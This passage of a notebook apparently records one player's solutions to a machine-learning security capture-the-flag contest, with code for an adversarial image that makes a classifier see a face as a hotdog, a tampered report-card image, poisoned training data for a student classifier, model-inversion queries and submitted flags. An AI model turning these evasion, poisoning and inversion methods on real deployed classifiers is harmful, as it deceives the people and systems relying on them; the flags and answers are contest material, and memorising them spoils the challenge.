2])","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:52:44.556215Z","iopub.execute_input":"2022-09-15T12:52:44.556616Z","iopub.status.idle":"2022-09-15T12:52:44.785940Z","shell.execute_reply.started":"2022-09-15T12:52:44.556585Z","shell.execute_reply":"2022-09-15T12:52:44.784658Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"arr = []\nfor xi, x in enumerate(toks):\n    arr.append([x, X_transformed[xi, 0]])","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:53:16.993960Z","iopub.execute_input":"2022-09-15T12:53:16.994413Z","iopub.status.idle":"2022-09-15T12:53:17.000452Z","shell.execute_reply.started":"2022-09-15T12:53:16.994376Z","shell.execute_reply":"2022-09-15T12:53:16.999115Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"arr = sorted(arr, key=lambda x: x[1])","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:53:24.651211Z","iopub.execute_input":"2022-09-15T12:53:24.651946Z","iopub.status.idle":"2022-09-15T12:53:24.657102Z","shell.execute_reply.started":"2022-09-15T12:53:24.651906Z","shell.execute_reply":"2022-09-15T12:53:24.655877Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Once sorted by the lower dim, the flag appears!\n\nstrr = \"\"\nfor x in arr:\n    strr = strr + x[0]\nstrr","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:53:33.800685Z","iopub.execute_input":"2022-09-15T12:53:33.801115Z","iopub.status.idle":"2022-09-15T12:53:33.808544Z","shell.execute_reply.started":"2022-09-15T12:53:33.801080Z","shell.execute_reply":"2022-09-15T12:53:33.807659Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"wifi\", \"submission\": \"FLAG{TURNED}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:54:00.978573Z","iopub.execute_input":"2022-09-15T12:54:00.978958Z","iopub.status.idle":"2022-09-15T12:54:01.597502Z","shell.execute_reply.started":"2022-09-15T12:54:00.978928Z","shell.execute_reply":"2022-09-15T12:54:01.596376Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"wifi\", \"LOS2Y04KNFKBE5FUW9P22DCP0BRRXP2HPY26OW0RMRDNL43TSI76YX9QFRMH44LKEIZGZ2R9MA3UE7G}8FTRTZ602KU7WHVJE4LK4USH5HC{AY63MDQ63O5S74GSUP8Z\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:54:06.407341Z","iopub.execute_input":"2022-09-15T12:54:06.407731Z","iopub.status.idle":"2022-09-15T12:54:06.440364Z","shell.execute_reply.started":"2022-09-15T12:54:06.407699Z","shell.execute_reply":"2022-09-15T12:54:06.439390Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTTERDOG (id: hotterdog) -- 400 Points\n\n### Scenario\n\nChester submitted himself in the \"most creative hotdog\" contest. They use machine vision to score the hotdogs, but oh no he already submitted his headshot.\n\n### Objective\n\nHelp Chester classify as a hotdog, but it has to look like Chester to a human. Modify his picture to fool a classifier.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nThe trick here was in the clue left by the organizers: Both the code and model found at https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 work almost as-is to solve it!","metadata":{}},{"cell_type":"code","source":"from keras.models import load_model\nmodel = load_model(\"../input/defconfiles/model.h5\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:56:49.056249Z","iopub.execute_input":"2022-09-15T12:56:49.056629Z","iopub.status.idle":"2022-09-15T12:56:56.787417Z","shell.execute_reply.started":"2022-09-15T12:56:49.056599Z","shell.execute_reply":"2022-09-15T12:56:56.786273Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from tensorflow.keras.preprocessing import image\nfrom tensorflow.keras.applications.resnet50 import preprocess_input, decode_predictions","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:41:33.599241Z","iopub.execute_input":"2022-09-15T14:41:33.599697Z","iopub.status.idle":"2022-09-15T14:41:33.607793Z","shell.execute_reply.started":"2022-09-15T14:41:33.599658Z","shell.execute_reply":"2022-09-15T14:41:33.606545Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### Got the code from here: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20\n### and just switched to hotdog class from imagenet\n\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\nimport tensorflow as tf\n\nIMAGE_DIMS = (224, 224)\nTREE_FROG_IDX = 934\nTREE_FROG_STR = \"hotdog\"\n\n# I'm pretty sure I borrowed this function from somewhere, but cannot remember\n# the source to cite them properly.\ndef hash_hamming_distance(h1, h2):\n    s1 = str(h1)\n    s2 = str(h2)\n    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))\n\n\ndef is_similar_img(path1, path2):\n    image1 = Image.open(path1)\n    image2 = Image.open(path2)\n\n    dist = hash_hamming_distance(phash(image1), phash(image2))\n    return dist <= 1\n\n\ndef prepare_image(image, target=IMAGE_DIMS):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(target)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\n\ndef create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95):\n    original_image = Image.open(img_path).resize(IMAGE_DIMS)\n    original_image = prepare_image(original_image)\n    model = load_model(model_path)\n\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + 0.01\n    max_change_below = original_image - 0.01\n\n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # How much to update the hacked image in each iteration\n    learning_rate = 0.01\n\n    # Define the cost function.\n    # Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\n    cost_function = model_output_layer[0, TREE_FROG_IDX]\n\n    # We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n    # In this case, referring to \"model_input_layer\" will give us back image we are hacking.\n    gradient_function = K.gradients(cost_function, model_input_layer)[0]\n\n    # Create a Keras function that we can call to calculate the current cost and gradient\n    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < 0.99:\n        # Check how close the image is to our target class and grab the gradients we\n        # can use to push it one more step in that direction.\n        # Note: It's really important to pass in '0' for the Keras learning mode here!\n        # Keras layers behave differently in prediction vs. train modes!\n        cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n        # Move the hacked image one step further towards fooling the model\n        # print gradients\n        hacked_image += np.sign(gradients) * learning_rate\n\n        # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(\"Model's predicted likelihood that the image is a tree frog: {:.8}%\".format(cost * 100))\n\n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    img.save(img_res_path)\n\ntf.compat.v1.disable_eager_execution()\ncreate_img(f\"{dir_name}/hotterdog/chester.png\", \"/kaggle/working/chester_dog.png\", \"../input/defconfiles/model.h5\", TREE_FROG_STR, TREE_FROG_IDX)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:57:58.538090Z","iopub.execute_input":"2022-09-15T12:57:58.538529Z","iopub.status.idle":"2022-09-15T12:58:09.146297Z","shell.execute_reply.started":"2022-09-15T12:57:58.538495Z","shell.execute_reply":"2022-09-15T12:58:09.145094Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open(\"/kaggle/working/chester_dog.png\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:58:29.012882Z","iopub.execute_input":"2022-09-15T12:58:29.013361Z","iopub.status.idle":"2022-09-15T12:58:30.175583Z","shell.execute_reply.started":"2022-09-15T12:58:29.013323Z","shell.execute_reply":"2022-09-15T12:58:30.174259Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotterdog\", \"CPQLZ3OE43FCUPD9O4XQRTVOH5MDJDUGA{ZCFMX85HGGDKW7N1ADDTXDCK93Y0T9}WHFRVKOPNH2FKGX2CSVGPZ7HQGLAVIHUJ735LLOOHMOLG76TTLIBZQD72WBE5FW\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T12:58:35.698812Z","iopub.execute_input":"2022-09-15T12:58:35.699244Z","iopub.status.idle":"2022-09-15T12:58:35.710372Z","shell.execute_reply.started":"2022-09-15T12:58:35.699209Z","shell.execute_reply":"2022-09-15T12:58:35.709073Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nI tried many times to adjust the \"F\" to look like an \"A\", but when that didn't work I just found a lower case \"a\" from the EMNIST dataset - and that worked!","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/honorstudent/f.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:00:47.660693Z","iopub.execute_input":"2022-09-15T13:00:47.661199Z","iopub.status.idle":"2022-09-15T13:00:47.700521Z","shell.execute_reply.started":"2022-09-15T13:00:47.661138Z","shell.execute_reply":"2022-09-15T13:00:47.699658Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Ima(filename=f'../input/defconfiles/a.png')","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:01:00.703168Z","iopub.execute_input":"2022-09-15T13:01:00.703591Z","iopub.status.idle":"2022-09-15T13:01:00.722416Z","shell.execute_reply.started":"2022-09-15T13:01:00.703561Z","shell.execute_reply":"2022-09-15T13:01:00.721157Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f'../input/defconfiles/a.png', \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:01:07.695238Z","iopub.execute_input":"2022-09-15T13:01:07.695663Z","iopub.status.idle":"2022-09-15T13:01:08.160338Z","shell.execute_reply.started":"2022-09-15T13:01:07.695627Z","shell.execute_reply":"2022-09-15T13:01:08.158949Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"KUSRFHA6MHKMAQK8PY9WB2EWYE5JCG5F1XSP9S7XR15D}NSA89UO70CUA4OPCHASTOOLIW6SQR9E9FSF954VX1DL5M{F2NTAHKIFCWN1F2SETP17DIXAP9J214NKKKLA\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:01:12.392804Z","iopub.execute_input":"2022-09-15T13:01:12.393172Z","iopub.status.idle":"2022-09-15T13:01:12.404129Z","shell.execute_reply.started":"2022-09-15T13:01:12.393142Z","shell.execute_reply":"2022-09-15T13:01:12.403234Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nAhhh, Secret Sloth. \n\nI struggled for awhile on this one, even though I tried fft at the start! The trick for me was to use `abs()` around the fft - since fft is complex, you can't just plot it and have the information show up.\n\n(Also, using `.real` works as well - and is probably a better way to solve it)","metadata":{}},{"cell_type":"code","source":"### It's a bit hard to see, but the flag \"SPECTRAL\" can now be seen in the lower part of the image\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import fftpack\n\nim = plt.imread(f\"{dir_name}/secret.sloth/secret-sloth.png\").astype(float)\nim_fft = fftpack.fft2(im)\nplt.imshow(np.abs(im_fft))","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:02:57.203085Z","iopub.execute_input":"2022-09-15T13:02:57.203554Z","iopub.status.idle":"2022-09-15T13:02:57.586891Z","shell.execute_reply.started":"2022-09-15T13:02:57.203517Z","shell.execute_reply":"2022-09-15T13:02:57.585963Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": \"FLAG{SPECTRAL}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:03:30.779980Z","iopub.execute_input":"2022-09-15T13:03:30.780377Z","iopub.status.idle":"2022-09-15T13:03:31.412447Z","shell.execute_reply.started":"2022-09-15T13:03:30.780344Z","shell.execute_reply":"2022-09-15T13:03:31.411362Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"GRM1G4N4KC43YFT3YXCP630CZMG8GIKDCYE6{7ZB6RHC3RNHYYZJLPYYKENJXVIEPXSJRO9F}OJIIUGD1NQDIPAOJAAL3SZPUKKFVTD6HQY2894TNYYCSORNDGAXKRYJ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:03:35.899137Z","iopub.execute_input":"2022-09-15T13:03:35.899822Z","iopub.status.idle":"2022-09-15T13:03:35.910630Z","shell.execute_reply.started":"2022-09-15T13:03:35.899786Z","shell.execute_reply":"2022-09-15T13:03:35.909120Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"markdown","source":"# My Solution\n\nI just used trial and error with the returned score and messages to figure out that if _everyone else_ has 100 as well (with 9 Absences and 9 Demerits) - then I pass just fine!","metadata":{}},{"cell_type":"code","source":"### Trial and error got to the following:\n\nm = pd.read_csv(f\"{dir_name}/bad2good/math.csv\")\n\nm.at[30, \"Grade\"] = 78\nm.at[30, \"Score\"] = 100\nm.at[30, \"Demerits\"] = 0\nm.at[30, \"Absences\"] = 0\n\nfor i in range(30):\n    m.at[i, \"Demerits\"] = 9\n    m.at[i, \"Absences\"] = 9\n    m.at[i, \"Score\"] = 100","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:03:56.736713Z","iopub.execute_input":"2022-09-15T13:03:56.737080Z","iopub.status.idle":"2022-09-15T13:03:56.758789Z","shell.execute_reply.started":"2022-09-15T13:03:56.737050Z","shell.execute_reply":"2022-09-15T13:03:56.757749Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"m.to_csv(\"/kaggle/working/math2.csv\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:04:15.870805Z","iopub.execute_input":"2022-09-15T13:04:15.871204Z","iopub.status.idle":"2022-09-15T13:04:15.877839Z","shell.execute_reply.started":"2022-09-15T13:04:15.871156Z","shell.execute_reply":"2022-09-15T13:04:15.876726Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(\"/kaggle/working/math2.csv\", \"r\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:04:22.169525Z","iopub.execute_input":"2022-09-15T13:04:22.169890Z","iopub.status.idle":"2022-09-15T13:04:22.837705Z","shell.execute_reply.started":"2022-09-15T13:04:22.169861Z","shell.execute_reply":"2022-09-15T13:04:22.836461Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\", \"wtOpGFMBhN8LBOT5nYFWFQVE3XISTBZ8OVTHRB2FR_IAEIO9KXG61FXtYXOVMCS_AD50DE6eHICHRZa2ZOT1}b2L7ZB6TVIGoW6WT6YY7PO5BC_FJ0LPK8dHF{Q0PYOQ\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:04:27.327392Z","iopub.execute_input":"2022-09-15T13:04:27.327817Z","iopub.status.idle":"2022-09-15T13:04:27.338574Z","shell.execute_reply.started":"2022-09-15T13:04:27.327782Z","shell.execute_reply":"2022-09-15T13:04:27.337487Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nI figured out pretty quickly that the 6 outputs were going to be the six letters or numbers of the flag - but then the trick was figuring out what they were!\n\nI started with EMNIST, which has upper case, lower case, and numbers. I then ran samples of those for every position and got a table of probabilities. It wasn't perfect at all, so it took many tries, but what I eventually found led me to find the (now obvious :) ) Flag: D3FC0N\n","metadata":{}},{"cell_type":"code","source":"!pip install emnist","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:11:21.066495Z","iopub.execute_input":"2022-09-15T13:11:21.066953Z","iopub.status.idle":"2022-09-15T13:11:35.478108Z","shell.execute_reply.started":"2022-09-15T13:11:21.066915Z","shell.execute_reply":"2022-09-15T13:11:35.476849Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from emnist import extract_training_samples, list_datasets\nlist_datasets()","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:11:41.613271Z","iopub.execute_input":"2022-09-15T13:11:41.613689Z","iopub.status.idle":"2022-09-15T13:12:11.607651Z","shell.execute_reply.started":"2022-09-15T13:11:41.613651Z","shell.execute_reply":"2022-09-15T13:12:11.606544Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from PIL import Image as IM\nimages, labels = extract_training_samples('balanced')","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:15:53.230163Z","iopub.execute_input":"2022-09-15T13:15:53.230578Z","iopub.status.idle":"2022-09-15T13:15:54.130665Z","shell.execute_reply.started":"2022-09-15T13:15:53.230546Z","shell.execute_reply":"2022-09-15T13:15:54.129357Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nletter_sums = {}\n\nfor letter in range(46):\n    print(letter)\n\n\n    a_s = []\n    for li, l in enumerate(labels.tolist()):\n        if l == letter:\n            a_s.append(li)\n\n    x = np.zeros((50, 32, 32, 1))\n    for i in range(50):\n        x[i,0:28,0:28,0] = images[a_s[i]]\n\n    x = x / 255.0\n\n    try:\n        response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": x.tolist()}))\n    #     print(response.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n\n\n    sums = [0, 0, 0, 0, 0, 0]\n    data = json.loads(response.text)\n    for rowi, row in enumerate(data[\"outputs\"]):\n        r = []\n        for numi, num in enumerate(row):\n            sums[numi] += num\n            r.append(\"{:.2f}\".format(num))\n    print(\"SUMS\", sums)\n    letter_sums[letter] = sums\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:15:56.321134Z","iopub.execute_input":"2022-09-15T13:15:56.321577Z","iopub.status.idle":"2022-09-15T13:17:19.893804Z","shell.execute_reply.started":"2022-09-15T13:15:56.321539Z","shell.execute_reply":"2022-09-15T13:17:19.892544Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"alphanumeric = \"0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b d e f g h n q r t\".split(\" \")\nfor rowi in range(45):\n    row = letter_sums[rowi]\n    r = []\n    for numi, num in enumerate(row):\n        sums[numi] += num\n        r.append(\"{:.1f}\".format(num/10))\n    if rowi < 10:\n        print(f\"{0}{rowi}\", alphanumeric[rowi], r)\n    else:\n        print(rowi, alphanumeric[rowi], r)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:17:40.211680Z","iopub.execute_input":"2022-09-15T13:17:40.212065Z","iopub.status.idle":"2022-09-15T13:17:40.221368Z","shell.execute_reply.started":"2022-09-15T13:17:40.212035Z","shell.execute_reply":"2022-09-15T13:17:40.220094Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### that gave me probs for all the letters and numbers for each position\n### It definitely wasn't perfect, but after many tries I found:\n\n# _ 3 F _ 0 N\n\n### and then guessed the flag: D3FC0N","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# To try and get the flag\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"inference\", \"submission\": \"FLAG{D3FC0N}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:19:20.754771Z","iopub.execute_input":"2022-09-15T13:19:20.755175Z","iopub.status.idle":"2022-09-15T13:19:21.391755Z","shell.execute_reply.started":"2022-09-15T13:19:20.755142Z","shell.execute_reply":"2022-09-15T13:19:21.390610Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"inference\", \"45JP9UR6354LG6OA30GQQV0WQLPNC5QLXRH8D5HETZL4SSH5TFX8TIVSWCODIG5OKLFIDFMQ1VOEF2QXUYH2HF4R4T860}G19E9ZBG4DTTCC{4PFH6E5YJHIG7BZVNYA\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:19:25.458515Z","iopub.execute_input":"2022-09-15T13:19:25.458903Z","iopub.status.idle":"2022-09-15T13:19:25.473877Z","shell.execute_reply.started":"2022-09-15T13:19:25.458872Z","shell.execute_reply":"2022-09-15T13:19:25.472690Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nThis one was just a bunch of trial and error for me - the endpoint gave score feedback which was nice, so I just kept trying, changing one value at a time until I got it.","metadata":{}},{"cell_type":"code","source":"with open(f\"{dir_name}/baseball/test_pitch.json\", \"r\") as f:\n    test = json.load(f)\nimport random","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:22:28.280339Z","iopub.execute_input":"2022-09-15T13:22:28.280744Z","iopub.status.idle":"2022-09-15T13:22:28.293652Z","shell.execute_reply.started":"2022-09-15T13:22:28.280712Z","shell.execute_reply":"2022-09-15T13:22:28.292592Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"xs = [t['x'] for t in test['pitches']]\nys = [t['y'] for t in test['pitches']]\nplt.scatter(xs, ys)\nplt.xlim([0, 29])\nplt.ylim([0, 29]) \n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:22:52.904601Z","iopub.execute_input":"2022-09-15T13:22:52.905027Z","iopub.status.idle":"2022-09-15T13:22:53.114113Z","shell.execute_reply.started":"2022-09-15T13:22:52.904991Z","shell.execute_reply":"2022-09-15T13:22:53.112854Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for pi, p in enumerate(test['pitches']):\n    print(pi, p)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:23:00.350872Z","iopub.execute_input":"2022-09-15T13:23:00.351350Z","iopub.status.idle":"2022-09-15T13:23:00.357881Z","shell.execute_reply.started":"2022-09-15T13:23:00.351311Z","shell.execute_reply":"2022-09-15T13:23:00.356252Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### Just a bunch of trial and error led me to:\n\ntest['pitches'][0] = {'x': 9, 'y': 19}\ntest['pitches'][1] = {'x': 12, 'y': 17}\ntest['pitches'][2] = {'x': 13, 'y': 12}\ntest['pitches'][3] = {'x': 13, 'y': 21}\ntest['pitches'][4] = {'x': 15, 'y': 19}\ntest['pitches'][5] = {'x': 16, 'y': 19}\ntest['pitches'][6] = {'x': 17, 'y': 20}\ntest['pitches'][7] = {'x': 18, 'y': 20}\ntest['pitches'][8] = {'x': 19, 'y': 19}\ntest['pitches'][9] = {'x': 20, 'y': 15}\ntest['pitches'][10] = {'x': 21, 'y': 12}\ntest['pitches'][11] = {'x': 21, 'y': 21}\ntest['pitches'][12] = {'x': 23, 'y': 20}\ntest['pitches'][13] = {'x': 25, 'y': 25}\ntest['pitches'][14] = {'x': 29, 'y': 27}\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:23:10.355756Z","iopub.execute_input":"2022-09-15T13:23:10.356143Z","iopub.status.idle":"2022-09-15T13:23:10.366797Z","shell.execute_reply.started":"2022-09-15T13:23:10.356111Z","shell.execute_reply":"2022-09-15T13:23:10.365577Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"xs = [t['x'] for t in test['pitches']]\nys = [t['y'] for t in test['pitches']]\nplt.scatter(xs, ys)\nplt.xlim([0, 29])\nplt.ylim([0, 29]) \n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:25:10.479053Z","iopub.execute_input":"2022-09-15T13:25:10.480459Z","iopub.status.idle":"2022-09-15T13:25:10.614978Z","shell.execute_reply.started":"2022-09-15T13:25:10.480412Z","shell.execute_reply":"2022-09-15T13:25:10.613777Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:23:23.070407Z","iopub.execute_input":"2022-09-15T13:23:23.070799Z","iopub.status.idle":"2022-09-15T13:23:23.878956Z","shell.execute_reply.started":"2022-09-15T13:23:23.070769Z","shell.execute_reply":"2022-09-15T13:23:23.877633Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"6QRSQE7YCH648Y6FMPMR0QYWMGQ9TSFDACA3U2VF39J{AOF0J0GZJ3DMFLRBSTH59M3JFYEYOQ6G}CAGWN2ZTU46EAN4FV1BL46T4UGBQ0V0FAW0ECWRGWVZFUYUJAE8\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:23:28.312829Z","iopub.execute_input":"2022-09-15T13:23:28.313653Z","iopub.status.idle":"2022-09-15T13:23:28.324673Z","shell.execute_reply.started":"2022-09-15T13:23:28.313613Z","shell.execute_reply":"2022-09-15T13:23:28.323729Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters 